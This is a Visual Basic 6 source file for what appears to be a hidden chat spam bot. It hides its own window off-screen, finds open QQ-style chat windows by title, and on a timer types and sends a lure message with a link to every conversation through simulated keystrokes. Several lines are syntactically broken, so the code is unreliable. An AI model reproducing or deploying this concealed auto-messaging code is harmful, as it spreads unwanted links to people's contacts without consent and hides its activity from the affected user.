Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA " (ByVal hwnd As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByValhwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Long) As Long
Private Const GW_HWNDFIRST = 0
Private Const GW_HWNDLAST = 1
Private Const GW_HWNDNEXT = 2
Private Const GW_HWNDPREV = 3
Private Const GW_OWNER = 4
Private Const NILL = 0&
Private Const WM_SYSCOMMAND = &H112
Private Const SC_CLOSE = &HF060&
Function GetWin() As String
Dim NhWnd As Long
Dim Length, WinTitle$
Dim OkWin As String
NhWnd = GetWindow(hwnd, GW_HWNDFIRST)
While NhWnd <> 0
Length = GetWindowTextLength(NhWnd)
WinTitle$ = Space$(Length + 1)
Length = GetWindowText(NhWnd, WinTitle$, Length + 1)
If InStr(LCase(WinTitle$), "发送消息") > 0 Or InStr(LCase(WinTitle$), "聊天中 ") > 0 Then OkWin = OkWin & "\\" & NhWnd
End If
NhWnd = GetWindow(NhWnd, GW_HWNDNEXT)
Wend
GetWin = OkWin
End Function
Sub SendInfo(ByVal Info As String)
Dim OkWin, hCount
OkWin = GetWin()
'MsgBox OkWin
If Len(OkWin) > 0 Then
OkWin = Split(OkWin, "\\")
For hCount = 0 To UBound(OkWin)
If Len(OkWin(hCount)) > 0 Then
'MsgBox OkWin(hCount)
'MsgBox GetWinName(OkWin(hCount))
AppActivate GetWinName(OkWin(hCount))
SendKeys Info
SendKeys "%(s)"
End If
Next
End If
End Sub
Function GetWinName(ByVal WinID As Long) As String
If WinID < 1 Then Exit Function
Dim Length, WinTitle$
Length = GetWindowTextLength(WinID)
WinTitle$ = Space$(Length + 1)
Length = GetWindowText(WinID, WinTitle$, Length + 1)
GetWinName = WinTitle$
End Function
Private Sub Form_Load() '这个方法隐藏窗体很有用
Me.Hide
Me.Move -100, -100, 0, 0
End Sub
Private Sub Timer1_Timer()
Call SendInfo("/mn 你看看我的大作发表了 /ka
http://www.baidu.com 看看怎么样 /hx ，记得回帖哦！ /mg /wen")
End Sub
